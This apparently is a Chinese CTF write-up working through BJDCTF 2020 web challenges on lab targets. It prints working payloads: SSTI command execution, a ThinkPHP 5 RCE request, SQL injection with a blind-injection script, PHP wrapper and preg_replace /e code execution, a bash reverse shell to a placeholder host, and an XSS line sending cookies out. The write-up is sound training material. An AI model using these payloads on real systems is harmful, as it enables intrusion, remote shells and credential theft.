干啥啥不行,签到第一名
[BJDCTF 2nd]签到-y1ng
crypto签到,直接base64解码
[BJDCTF 2nd]fake google
ssti
payload:
qaq?name={{"".__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat ../flag').read()}}
参考:
https://xz.aliyun.com/t/6885
https://xz.aliyun.com/t/3679
https://www.cnblogs.com/keithtt/p/7709445.html
[BJDCTF 2nd]old-hack
- 考点:thinkPHPv5.0.23 RCE
打开靶机是一个黑页,然后给了提示
Powered By THINKPHP5
RCE(remote code execution)
THINKPHP5远程代码执行漏洞:
https://www.cnblogs.com/bmjoker/p/10110868.html
https://www.freebuf.com/vuls/191847.html
payload:
index.php/?s=captcha
post_data:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag
[BJDCTF2020]Easy MD5
提交111,用burpsuite拦截可以看到response的header中有hint:
Hint: select * from 'admin' where password=md5($pass,true)
貌似是以赛抗“疫”里也有这个考点,php中md5()
函数的第二个参数如果是true
的话,md5之后可返回的字符串中能会出现单引号,payload:
ffifdyop | 276f722736c95d99e921722cf9ed621c | b"'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c"
然后mysql中,以非‘0’字符开头的字符串转为bool值时,会转为true
这里有个疑问,这一题的源码是直接用if($password=='ffifdyop')
来判断的结果,而不是连接数据库,那么如果用含有'='
的md5值其实也可以绕过判断,利用select 'a'='b'='c'
返回true的特性来绕过(这是上次安恒的群里发的比赛的考点)
可参考下面这篇文章的评论区
http://mslc.ctf.su/wp/leet-more-2010-oh-those-admins-writeup/
然后转到页面DO YOU LIKE MD5
,页面中有注释:
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
要求参数不相但md5值相等,用的弱比较==
和!=
,可以用0e
开头的字符串绕过,php中的md5()
和sha1()
之类的函数在传入参数为数组时,会直接返回false
,所以也可以直接传入两个数组作为参数来绕过
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
payload:?a=QNKCDZO&b=s878926199a
然后下一步要求:
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
使用post方式传递两个数组作为参数,payload:
post_data
param1[]=1¶m2[]=2
[BJDCTF 2nd]假猪套天下第一
打开之后是个登录界面,随便输了个密码就可以登录,但是登陆之后什么都没有只有一个欢迎界面,burpsuite截包,可以看到个302页面中有个注释L0g1n.php
访问L0g1n.php,回显
Sorry, this site will be available after totally 99 years!
看到发送的请求中的cookie
存在time=xxxxx
,修改该属性的值,在后面多加几个9,回显
Sorry, this site is only optimized for those who comes from localhost
后面就全部是修改header
的问题了,参考相关链接
据出题人的题解,比较坑的是,当修改X-Forwarded-For
为127.0.0.1时回显:
Do u think that I dont know X-Forwarded-For?
Too young too simple sometimes naive
可以用Client-IP
或者X-Real-ip
代替XFF
还有个比较坑的:
Sorry, this site is only optimized for browsers that run on Commodo 64
出题人说可以搜到Commodo 64暗示的是一个操作系统,可以搜到Commodore 64(虽然我并没有搜到,没梯子),修改UA为Commodore 64
,其他需要修改的内容:
Client-IP: 127.0.0.1 //客户端ip
From: root@gem-love.com //email
VIA: y1ng.vip //http proxy
Referer: gem-love.com //来源
最终的页面备注里有base64编码的flag
[BJDCTF 2nd]duangShell
打开靶机之后回显
珍爱网
how can i give you source code? .swp?!
where is P3rh4ps's girl friend ???
.swp
文件是非正常关闭vi/vim时产生的文件,可以用方便vim恢复原来的工作(类似临时文件?),可以用vim -r filename
恢复编辑文件的内容
访问/.index.php.swp
,使用vim恢复源代码,然后:11,26 w ./index,php
将代码部分保存到新的index.php中。
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
exec()
函数与system()
不一样,是没有运行结果回显的,所以这一题要用到反弹shell,不过我一直没搞明白buuoj上的靶机怎么用,所以这一题还没搞出来,大致思路:
先在服务器上创建个文件shell.txt
bash -i >& /dev/tcp/[ip1]/[port1] 0>&1
然后在ip1服务器上用nc监听port1
nc -lvp [port1]
然后放payload,访问靶机
post_data: girl_friend=curl ip1/shell.txt
然后在服务器ip1上可以收到反弹的shell
[BJDCTF2020]Mark loves cat
dirsearch扫描可以发现有/.git/
目录,使用GitHack
可以把代码down下来
#dirsearch
python dirsearch.py -u http://xxx -e php
#GitHach
python2 GitHack.py http://xxx/.git/
首页中的php代码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}//get yds=flag
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
flag.php
<?php
$flag = file_get_contents('/flag');
审计代码,$连用可以导致变量覆盖,代码中的foreach()
用于给变量赋值,将传递的参数逐个赋值给相应的变量。如果get传递参数?yds=flag
,第二个foreach循环会执行$yds=$flag,因为没有传递名为flag的参数,所以第三个foreach并不会exit,到第一个if语句的时候,因为没有传递flag参数,所以会exit($yds),但是刚刚$yds已经被赋值$flag了,所以可以get flag
[BJDCTF 2nd]简单注入
robots.txt中提示有hint.txt,hint.txt
Only u input the correct password then u can get the flag
and p3rh4ps wants a girl friend.
select * from users where username='$_POST["username"]' and password='$_POST["password"]';
//出题人四级压线才过 见谅见谅 领会精神
fuzz一下,可以看到ban了很多字符,应该是黑名单过滤,part of blaklist:
- 单引号双引号
- union,select,rand,and,=,like,mid
但是没有ban括号,可以使用很多函数,没有ban反斜线,根据hint的查询语句,可以用反斜线转义掉单引号,而且没有ban井号注释符
username=\
password= or 1#
select * from users where username='\' and password=' or 1#';
可以看到回显变了,应该是登陆成功了,但是hint说只能用正确的密码才能getflag,页面只有正常和错误两种回显,考虑布尔盲注,y1ng大佬的wp说要用正则注入,不知道为啥,我用的ascii函数和<>进行的判断,直接注的密码,附上python脚本:(写的乱七八糟,凑合看吧。。。)
import requests
s='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s+=s.lower()
s+='0123456789'
ans=''
for i in range(1,20):
si=str(i)
print('trying '+si)
for x in s:
data = {
'username': '\\',
'password': ' or ascii(right(left(password,'+si+'),1))<>'+str(ord(x))+'#'
}
res = requests.post('http://337cb763-c5b3-4c33-86be-7978eaac7a70.node3.buuoj.cn/index.php',data=data)
#print(data)
#print(res.text)
if 'You konw ,P3rh4ps needs a girl friend' in res.text:
ans+=x
break
print(ans)
if len(ans)==12:#用length()判断出password长度为12
break
password:'OhyOuFOuNdit'用这个密码登陆就有flag了
[BJDCTF2020]The mystery of ip
打开靶机之后,显示有flag页面,打开之后回显:
your ip is:xxxxxxx
hint.php中有注释
do you know why i know your ip?
然后我在burp加了个XFF头,果然ip变了,Client-IP也可以,然后就没思路了,XFF头中写phpinfo()但是没办法执行,顶不住了,百度了下题解,原来是ssti注入,总之就是在header中添加{{code}}
就可以了,{{phpinfo()}}
就可以执行成功
payload:
Client-IP: {{system('ls /')}}
Client-IP: {{system('cat /flag')}}
参考
服务端模板注入攻击
[BJDCTF2020]Cookie is so stable
和上一题的前端界面很像,但是是和cookie相关的,尝试ssti注入,登录后在cookie中有个user字段,将值改为{{7*7}}
返回hello 49
{{7*'7'}}
jinja输出7777777
twig输出49
但是有过滤
user={{phpinfo()}}
回显:
What do you want to do?!
题解上的payload:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
其中cat /flag是执行命令的点,这个页面貌似只能显示一行结果,也就是说,如果执行ls /的话,其实回显只有一个var,看样子是只给显示命令执行结果的最后一行内容,可以用管道符连接head命令一起执行(tail也可以)
ls /|head -n 4
回显中可以看到有一个flag文件,也就是说,ls命令的第四行结果是flag
或者执行命令
find / -name flag
回显:/flag
下图中的测试方法可用于判断使用的模板引擎
参考:
服务端模板注入攻击
服务端模板注入攻击 (SSTI)之浅析
[BJDCTF 2nd]xss之光
打开前端,啥都没有,已有一句gungungun,好暴躁。。
githack扫一下,可以扫到index
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);
反序列化,在网上找了题解,因为是echo反序列化的结果,所以要利用php中一些有_toString()方法的类,在_toString()的原生类反序列化中,常用的是Error和Exception。
附上Y1ng大佬的payload:
<?php
$y1ng = new Exception('"<script>window.open(\'[ip]:[port]/?\'+document.cookie);</script>');
echo urlencode(serialize($y1ng));
buuoj上复现的题目不需要nc监听,直接在response的cookie中就可以getflag
[BJDCTF 2nd]Schrödinger
打开之后
”
Welcome to imagin’s Schrödinger Login Fucker!
It’s the most beautiful interface I can write(’▿’)
Intro:
You can give a wibsite to this page and this page will automatically identify various parameters of the target and try to burst the password.
The longer the compute time is, the higher the success rate of the burst is.
But before the final result is checked, no one knows whether to burst out the password. We call it the superposition state of burst and unburst
You can check the progress at any time, but once you check the progress, this website will stop bursting and delete the relevant progress, which we call the collapse of the superposition state.
If the CPU of the server is idle, it must be able to burst out the password you want very soon 🙂
Enjoy it!
imagin@1580308166
Note : Remenmber to remove test.php!
input a victim
Load of Server CPU90.58322228388658%
Already burst 79 sec, 130365 p/s
Forecast success rate 20.536404906595003%
”
其中note是纯白色的,一开始还没发现,在源代码中可以看到,尝试爆破test.php
,输入参数http://127.0.0.1/test.php
然后开始爆破之后点check,修改cookie中base64编码的时间戳,可以回显B站av号,评论区getflag
[BJDCTF2020]ZJCTF,不过如此
打开页面后是源码
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}
include($file); //next.php
}
else{
highlight_file(__FILE__);
}
?>
利用php伪协议
传递参数如下:
get:
text=php://input&file=php://filter/read=convert.base64-encode/resource=next.php
post:
I have a dream
还可以
?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php
结果base64解码可以知道next.php的源代码是
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
接下来是利用preg_replace()
函数在/e
模式下工作存在代码执行的漏洞,payload:
?\S*=${getFlag()}&cmd=system('cat /flag');//或者show_source()函数也行
or
?\S*=${eval($_POST[xxx])}
post: xxx=system('cat /flag');
参考:
https://www.cnblogs.com/wangtanzhi/p/12328083.html
https://xz.aliyun.com/t/2557
部分wp:
某大佬的wp
另一个大佬的wp
官方wp
官方wp(github)
题目源码:
BJDCTF